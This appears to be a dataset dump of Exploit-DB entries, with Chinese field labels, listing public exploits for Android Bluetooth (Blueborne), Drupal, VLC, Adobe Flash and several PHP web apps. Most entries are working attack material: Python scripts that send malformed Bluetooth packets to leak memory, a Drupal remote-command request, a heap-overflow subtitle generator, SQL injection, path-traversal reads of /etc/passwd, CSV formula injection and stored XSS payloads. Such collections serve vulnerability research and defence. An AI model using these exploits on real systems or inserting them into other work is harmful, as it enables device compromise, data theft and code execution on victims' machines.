QLWD/code_shield huggingface dataset:
标题: Android Bluetooth - 'Blueborne' Information Leak (1) EDB-ID: 44554 CVE: 2017-0781 类型: REMOTE 平台: ANDROID 发布日期: 2017-08-09 漏洞利用脚本: from pwn import *
import bluetooth

if not 'TARGET' in args:
    log.info('Usage: python CVE-2017-0781.py TARGET=XX:XX:XX:XX:XX:XX')
    exit()

target = args['TARGET']

count = 30 # Amount of packets to send

port = 0xf # BT_PSM_BNEP
context.arch = 'arm'
BNEP_FRAME_CONTROL = 0x01
BNEP_SETUP_CONNECTION_REQUEST_MSG = 0x01

def set_bnep_header_extension_bit(bnep_header_type):
    """
    If the extension flag is equal to 0x1 then
    one or more extension headers follows the BNEP
    header; If extension flag is equal to 0x0 then the
    BNEP payload follows the BNEP header.
    """
    return bnep_header_type | 128

def bnep_control_packet(control_type, control_packet):
    return p8(control_type) + control_packet

def packet(overflow):
    pkt = ''
    pkt += p8(set_bnep_header_extension_bit(BNEP_FRAME_CONTROL))
    pkt += bnep_control_packet(BNEP_SETUP_CONNECTION_REQUEST_MSG, '\x00' + overflow)
    return pkt

bad_packet = packet('AAAABBBB')

log.info('Connecting...')
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bluetooth.set_l2cap_mtu(sock, 1500)
sock.connect((target, port))

log.info('Sending BNEP packets...')
for i in range(count):
    sock.send(bad_packet)

log.success('Done.')
sock.close() URL: https://www.exploit-db.com/exploits/44554
标题: MyBB Threads to Link Plugin 1.3 - Cross-Site Scripting EDB-ID: 44547 CVE: 2018-10365 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-26 漏洞利用脚本: # Exploit Title: MyBB Threads to Link Plugin v1.3 - Persistent XSS
# Date: 3/15/2018
# Author: 0xB9
# Contact: luxorforums.com/User-0xB9 or 0xB9[at]protonmail.com
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1065
# Version: v1.3
# Tested on: Ubuntu 17.10
CVE: CVE-2018-10365


1. Description:
When editing a thread the user is given to the option to convert the thread to a link.


2. Proof of Concept:

Persistent XSS
- Edit a thread or post you've made
- At the bottom of the edit page in the Thread Link box input the following <a """><SCRIPT>alert("XSS")</SCRIPT>">
- Now visit the forum your thread/post exists in to see the alert.


3. Solution:
The plugin has since been removed after notifying the author.

Patch in line 83:
$thread['tlink'] = ($thread['tlink']);

to

$thread['tlink'] = htmlspecialchars_uni($thread['tlink']); URL: https://www.exploit-db.com/exploits/44547
标题: Android Bluetooth - 'Blueborne' Information Leak (2) EDB-ID: 44555 CVE: 2017-0785 类型: REMOTE 平台: ANDROID 发布日期: 2017-09-20 漏洞利用脚本: from pwn import *
import bluetooth

if not 'TARGET' in args:
    log.info("Usage: CVE-2017-0785.py TARGET=XX:XX:XX:XX:XX:XX")
    exit()

target = args['TARGET']
service_long = 0x0100
service_short = 0x0001
mtu = 50
n = 30

def packet(service, continuation_state):
    pkt = '\x02\x00\x00'
    pkt += p16(7 + len(continuation_state))
    pkt += '\x35\x03\x19'
    pkt += p16(service)
    pkt += '\x01\x00'
    pkt += continuation_state
    return pkt

p = log.progress('Exploit')
p.status('Creating L2CAP socket')

sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bluetooth.set_l2cap_mtu(sock, mtu)
context.endian = 'big'

p.status('Connecting to target')
sock.connect((target, 1))

p.status('Sending packet 0')
sock.send(packet(service_long, '\x00'))
data = sock.recv(mtu)

if data[-3] != '\x02':
    log.error('Invalid continuation state received.')

stack = ''

for i in range(1, n):
    p.status('Sending packet %d' % i)
    sock.send(packet(service_short, data[-3:]))
    data = sock.recv(mtu)
    stack += data[9:-3]

sock.close()

p.success('Done')

print hexdump(stack) URL: https://www.exploit-db.com/exploits/44555
标题: HRSALE The Ultimate HRM 1.0.2 - CSV Injection EDB-ID: 44536 CVE: 2018-10257 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-25 漏洞利用脚本: # Exploit Title: HRSALE The Ultimate HRM 1.0.2 - CSV Injection
# Date: 2018-04-23
# Exploit Author: 8bitsec
# CVE: CVE-2018-10257
# Vendor Homepage: https://codecanyon.net/
# Software Link: https://codecanyon.net/item/hrsale-the-ultimate-hrm/21665619
# Version: 1.0.2
# Tested on: [Kali Linux 2.0 | Mac OS 10.13]

Release Date:
=============
2018-04-23

Product & Service Introduction:
===============================
HRSALE provides you with a powerful and cost-effective HR platform to ensure you get the best from your employees and managers.

Technical Details & Description:
================================

A user is able to inject a command that will be included in the exported CSV file.

Proof of Concept (PoC):
=======================

1. Login with employee user credentials
2. Browse to My Profile and add =cmd|'/C calc'!A1 into the First Name field
3. Log in with admin's credentials
4. Browse to Core HR > Employees Last Login
5. Click on the CSV button to download and open the exported CSV file URL: https://www.exploit-db.com/exploits/44536
标题: HRSALE The Ultimate HRM 1.0.2 - Local File Inclusion EDB-ID: 44539 CVE: 2018-10260 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-25 漏洞利用脚本: # Exploit Title: HRSALE The Ultimate HRM v1.0.2 - Local File Inclusion
# Date: 2018-04-23
# Exploit Author: 8bitsec
# CVE: CVE-2018-10260
# Vendor Homepage: https://codecanyon.net/
# Software Link: https://codecanyon.net/item/hrsale-the-ultimate-hrm/21665619
# Version: 1.0.2
# Tested on: [Kali Linux 2.0 | Mac OS 10.13]

Release Date:
=============
2018-04-23

Product & Service Introduction:
===============================
HRSALE provides you with a powerful and cost-effective HR platform to ensure you get the best from your employees and managers.

Technical Details & Description:
================================

Local File Inclusion vulnerability found logged as low privileged user.

Proof of Concept (PoC):
=======================

LFI:

http://localhost/[path]/admin/download?type=task&filename=../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/44539
标题: Blog Master Pro 1.0 - CSV Injection EDB-ID: 44535 CVE: 2018-10255 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-25 漏洞利用脚本: # Exploit Title: Blog Master Pro v1.0 - CSV Injection
# Date: 2018-04-23
# Exploit Author: 8bitsec
# CVE: CVE-2018-10255
# Vendor Homepage: https://codecanyon.net/
# Software Link: https://codecanyon.net/item/blog-master-pro/21689781
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.13]

Release Date:
=============
2018-04-23

Product & Service Introduction:
===============================
This application based on new Latest Laravel 5.5 Framework that allows web site owners to quickly add blog post, manage author and user, manage comments, manage website, manage profile and allow to create category and tag. 
It is designed latest security and code standards and it is ready for high availability web sites.

Technical Details & Description:
================================

A user is able to inject a command that will be included in the exported CSV file.

Proof of Concept (PoC):
=======================

1. Login with regular user's credentials
2. Add =cmd|'/C calc'!A1 as a comment on any article
3. Log in with admin's credentials
4. Browse to Dashboard > Comments
5. Click on the CSV button to download and open the exported CSV file URL: https://www.exploit-db.com/exploits/44535
标题: HRSALE The Ultimate HRM 1.0.2 - (Authenticated) Cross-Site Scripting EDB-ID: 44538 CVE: 2018-10259 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-25 漏洞利用脚本: # Exploit Title: HRSALE The Ultimate HRM 1.0.2 - Authenticated Cross Site Scripting
# Date: 2018-04-23
# Exploit Author: 8bitsec
# CVE: CVE-2018-10259
# Vendor Homepage: https://codecanyon.net/
# Software Link: https://codecanyon.net/item/hrsale-the-ultimate-hrm/21665619
# Version: 1.0.2
# Tested on: [Kali Linux 2.0 | Mac OS 10.13]

Release Date:
=============
2018-04-23

Product & Service Introduction:
===============================
HRSALE provides you with a powerful and cost-effective HR platform to ensure you get the best from your employees and managers.

Technical Details & Description:
================================

Authenticated Stored XSS vulnerability found logged as low privileged user.

Proof of Concept (PoC):
=======================

Authenticated Stored XSS:

Dashboard > My Profile. Write the payload on the 'First Name' input field:
john doe<script>alert()</script> URL: https://www.exploit-db.com/exploits/44538
标题: Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC) EDB-ID: 44542 CVE: 2018-7602 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-25 漏洞利用脚本: This is a sample of exploit for Drupal 7 new vulnerability SA-CORE-2018-004 / CVE-2018-7602.

You must be authenticated and with the power of deleting a node. Some other forms may be vulnerable : at least, all of forms that is in 2-step (form then confirm).

POST /?q=node/99/delete&destination=node?q[%2523][]=passthru%26q[%2523type]=markup%26q[%2523markup]=whoami HTTP/1.1
[...]
form_id=node_delete_confirm&_triggering_element_name=form_id&form_token=[CSRF-TOKEN]

Retrieve the form_build_id from the response, and then triggering the exploit with : 

POST /drupal/?q=file/ajax/actions/cancel/%23options/path/[FORM_BUILD_ID] HTTP/1.1
[...]
form_build_id=[FORM_BUILD_ID]

This will display the result of the whoami command.

Patch your systems!
Blaklis URL: https://www.exploit-db.com/exploits/44542
标题: Shopy Point of Sale 1.0 - CSV Injection EDB-ID: 44534 CVE: 2018-10258 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-25 漏洞利用脚本: # Exploit Title: Shopy Point of Sale v1.0 - CSV Injection
# Date: 2018-04-23
# Exploit Author: 8bitsec
# CVE: CVE-2018-10258
# Vendor Homepage: https://codecanyon.net/
# Software Link: https://codecanyon.net/item/shopy-point-of-sales/21730225
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.13]

Release Date:
=============
2018-04-23

Product & Service Introduction:
===============================
Point of sale for retail stores

Technical Details & Description:
================================

A user is able to inject a command that will be included in the exported CSV file.

Proof of Concept (PoC):
=======================

1. Login with Sales user's credentials
2. Browse to Trader > Customer > New Customer and add =cmd|'/C calc'!A1 into the Customer Name field
3. Log in with admin's credentials
4. Browse to Sales > Create Invoice to create an invoice for that user
5. Browse to All Invoice > Export to download and open the exported CSV file

================== URL: https://www.exploit-db.com/exploits/44534
标题: HRSALE The Ultimate HRM 1.0.2 - 'award_id' SQL Injection EDB-ID: 44537 CVE: 2018-10256 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-25 漏洞利用脚本: # Exploit Title: HRSALE The Ultimate HRM v1.0.2 - 'award_id' SQL Injection
# Date: 2018-04-23
# Exploit Author: 8bitsec
# CVE: CVE-2018-10256
# Vendor Homepage: https://codecanyon.net/
# Software Link: https://codecanyon.net/item/hrsale-the-ultimate-hrm/21665619
# Version: 1.0.2
# Tested on: [Kali Linux 2.0 | Mac OS 10.13]

Release Date:
=============
2018-04-23

Product & Service Introduction:
===============================
HRSALE provides you with a powerful and cost-effective HR platform to ensure you get the best from your employees and managers.

Technical Details & Description:
================================

SQL injection on [award_id] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/admin/user/read_awards/?jd=1&is_ajax=1&mode=modal&data=view_award&award_id=1' AND 1303=1303 AND 'BzpS'='BzpS

Parameter: award_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: jd=1&is_ajax=1&mode=modal&data=view_award&award_id=1' AND 1303=1303 AND 'BzpS'='BzpS URL: https://www.exploit-db.com/exploits/44537
标题: Adobe Flash - Info Leak in Image Inflation EDB-ID: 44528 CVE: 2018-4934 类型: DOS 平台: MULTIPLE 发布日期: 2018-04-24 漏洞利用脚本: The attached image causes an info leak in image inflation. It occasionally crashes when rendered, otherwise it displays uninitialized memory as pixels.

To reproduce, put the attached images on a webserver and vist: http://127.0.0.1?img=inflate.png.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44528.zip URL: https://www.exploit-db.com/exploits/44528
标题: Adobe Flash - Overflow in Slab Rendering EDB-ID: 44527 CVE: 2018-4935 类型: DOS 平台: MULTIPLE 发布日期: 2018-04-24 漏洞利用脚本: The attached fuzzed swf file causes heap or stack corruption (depending on platform) when rendering a slab.

This PoC crashes a little bit unreliably, it is the most reliable in the standalone Flash player and Microsoft Edge.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44527.zip URL: https://www.exploit-db.com/exploits/44527
标题: Adobe Flash - Overflow when Playing Sound EDB-ID: 44526 CVE: 2018-4936 类型: DOS 平台: MULTIPLE 发布日期: 2018-04-24 漏洞利用脚本: The attached fuzzed swf file causes heap overflow when playing a sound.

This PoC crashes a little bit unreliably, it is the most reliable in the standalone Flash player and Microsoft Edge. 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44526.zip URL: https://www.exploit-db.com/exploits/44526
标题: Adobe Flash - Out-of-Bounds Write in blur Filtering EDB-ID: 44529 CVE: 2018-4937 类型: DOS 平台: MULTIPLE 发布日期: 2018-04-24 漏洞利用脚本: The attached swf file causes and out-of-bounds write in blur filtering.

This PoC crashes reliably in Firefox for Linux. 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44529.zip URL: https://www.exploit-db.com/exploits/44529
标题: VLC Media Player/Kodi/PopcornTime 'Red Chimera' < 2.2.5 - Memory Corruption (PoC) EDB-ID: 44514 CVE: 2017-8311 类型: DOS 平台: WINDOWS 发布日期: 2018-04-24 漏洞利用脚本: """
VLC Media Player/Kodi/PopcornTime 'Red Chimera' < 2.2.5 Memory Corruption (PoC)
Author: SivertPL (kroppoloe@protonmail.ch)
CVE: CVE-2017-8311

Infamous VLC/Kodi/PopcornTime subtitle attack in libsubtitle_plugin.dll.
This is the Proof of Concept of the reverse engineered heap corruption vulnerability affecting JacoSUB parsing in VLC/Kodi/PopcornTime.
The crash is exploitable, but hard to exploit because of various environmental constraints such as threading/mitigations/scriptless.
I want to join a research team.
"""

"""
ModLoad: 00000000`71660000 00000000`716a2000   C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll
ModLoad: 00000000`71630000 00000000`71651000   C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll
ModLoad: 00000000`71610000 00000000`7162e000   C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll
ModLoad: 00000000`71600000 00000000`7160d000   C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll
ModLoad: 00000000`715e0000 00000000`715fd000   C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll
ModLoad: 00000000`715d0000 00000000`715de000   C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll
ModLoad: 00000000`715b0000 00000000`715cf000   C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll
core demux error: option sub-original-fps does not exist
(33c.d10): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll -
libsubtitle_plugin+0x44de:
715b44de 881f            mov     byte ptr [edi],bl          ds:002b:1b9fb000=??
0:012:x86> g
(33c.d10): Access violation - code c0000005 (!!! second chance !!!)
wow64!Wow64NotifyDebugger+0x1d:
00000000`754ac9f1 654c8b1c2530000000 mov   r11,qword ptr gs:[30h] gs:00000000`00000030=????????????????
"""

import os
import struct
import sys
import argparse

len = 1025

def main(argv):
    parser = argparse.ArgumentParser()
    parser.add_argument("filename", help="Name of the movie file w/o extension, for generating payload")
    parser.add_argument("--length", help="Heap overwrite length (default 1025, may be bigger)", type=int)
    args = parser.parse_args()
    if args.length:
        global len
        len = args.length
    print "[+] Generating file %s.jss with overwrite size of %d" % (args.filename, len)
    write(args.filename, len)

def write(name, len):
    subtitles = open("%s.jss" % name, "w+")
    subtitles.write("0:00:02.00 0:00:04.00 VL red chimera..\n")
    subtitles.write("0:00:04.00 0:00:05.00 vm attack")
    subtitles.write("\\C")
    subtitles.write(struct.pack('B', 0))
    subtitles.write('A' * len)
    subtitles.close()
    print "[+] Done!"

if __name__ == "__main__":
     main(sys.argv[1:]) URL: https://www.exploit-db.com/exploits/44514
标题: UK Cookie Consent - Persistent Cross-Site Scripting EDB-ID: 44503 CVE: 2018-10310 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-24 漏洞利用脚本: # Exploit Title: UK Cookie Consent v2.3.9 - Persistent Cross-Site Scripting
# Date: 2018-04-22
# Exploit Author: B0UG
# Vendor Homepage: https://catapultthemes.com/
# Software Link: https://en-gb.wordpress.org/plugins/uk-cookie-consent/#description
# Version: Tested on version 2.3.9 (older versions may also be affected)
# Tested on: WordPress
# Category : Webapps
# CVE: CVE-2018-10310

I. VULNERABILITY
-------------------------
Persistent Cross-Site Scripting
 
II. BACKGROUND
-------------------------
UK Cookie Consent is a WordPress plugin which has been designed to display cookie consent notifications on a WordPress website.

III. DESCRIPTION
-------------------------
A persistent cross-site scripting vulnerability has been identified in the web interface of the plugin that allows the execution of arbitrary HTML/script code to be executed in a victim's web browser.

IV. PROOF OF CONCEPT
-------------------------
1) Access WordPress control panel.
2) Navigate to the 'Pages'.
3) Add a new page and insert the script you wish to inject into the page title.
4) Now navigate to 'Settings' and select 'Cookie Consent'.
5) Now click on the 'Content' tab.
6) Your injected script will now be executed.

V. IMPACT
-------------------------
An attacker can execute malicious code in a victim user's browser to perform various activities such as stealing cookies, session tokens, credentials and personal data amongst others.
 
VI. SYSTEMS AFFECTED
-------------------------
WordPress websites running "UK Cookie Consent" plugin version 2.3.9  (older versions may also be affected).
 
VII. REMEDIATION
-------------------------
Update to the latest version available. Implement a web application such as Wordfence.

VIII. DISCLOSURE TIMELINE
-------------------------
April 22, 2018 1: Vulnerability identified.
April 22, 2018 2: Informed developer of the vulnerability.
April 23, 2018 3: Developer acknowledged the vulnerability.
April 23, 2018 4: Developer issued a security patch.

Special thanks goes to the team at Catapult Themes for their fast response, great understanding and patching the issue. URL: https://www.exploit-db.com/exploits/44503
标题: Monstra cms 3.0.4 - Persitent Cross-Site Scripting EDB-ID: 44502 CVE: 2018-10109 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-23 漏洞利用脚本: # Exploit Title: Monstra cms 3.0.4 - Persitent Cross-Site Scripting
# Date: 2018-04-14
# Exploit Author: Wenming Jiang
# Vendor Homepage: https://github.com/monstra-cms/monstra
# Software Link: https://github.com/monstra-cms/monstra
# Version: 3.0.4
# Tested on: php 5.6, apache2.2.29, macos 10.12.6
# CVE :CVE-2018-10109


#Description:
#Monstra CMS 3.0.4 has a stored XSS vulnerability when an attacker has access to the editor role, and enters the payload
#in the content section of a new page in the blog catalog.


#Steps to replicate:
#1. log into the system as an editor role
#2. creat a new page in the blog catalog
#3. navigate to content section
#4. enter payload: <script>alert(document.cookie)</script>
#5. visit http://<your_site>/monstra/blog/<page_name>.php, you will triage JavaScript execution



#Exploit Code:
<script>alert(document.cookie)</script>
or
<img src=1 onerror=alert(/xss/) > URL: https://www.exploit-db.com/exploits/44502
标题: Open-AudIT 2.1 - CSV Macro Injection EDB-ID: 44511 CVE: 2018-9137 类型: WEBAPPS 平台: WINDOWS 发布日期: 2018-04-24 漏洞利用脚本: Hi Guys,

#######################################
# Exploit Title: Open-AudIT 2.1 - CSV Macro Injection Vulnerability
# Google Dork: N/A
# Date: 21-04-2018
#######################################
# Exploit Author: Sureshbabu Narvaneni#
#######################################
# Author Blog : http://nullnews.in
# Vendor Homepage: https://opmantek.com
# Software Link: https://www.open-audit.org/downloads.php
# Affected Version: 2.1
# Category: WebApps
# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686
# CVE : CVE-2018-9137
#######################################

1. Vendor Description:

Open-AudIT intelligently scans an organization’s network and stores the
configurations of the discovered devices.

A powerful reporting framework enables information such as software
licensing, configuration changes, non-authorized devices, capacity
utilization and hardware warranty status to be extracted and explored.

Open-AudIT Enterprise comes with additional features including Business
Dashboards, Report filtering, Scheduled discovery, Scheduled Reports and
Maps.

2. Technical Description:

CSV Injection (aka Excel Macro Injection or Formula Injection) exists in
the export feature in the OpenAudIT before 2.2 via a value that is
mishandled in a CSV export.

3. Proof of Concept:

Login and Navigate to the any field which is having export feature and
create an entry with @SUM(1+1)*cmd|' /C calc'!A0.

When user logged in and exported user data then the CSV
Formula gets executed and calculator will get popped in his machine.

4. Solution:

Update to latest version

https://www.open-audit.org/downloads.php URL: https://www.exploit-db.com/exploits/44511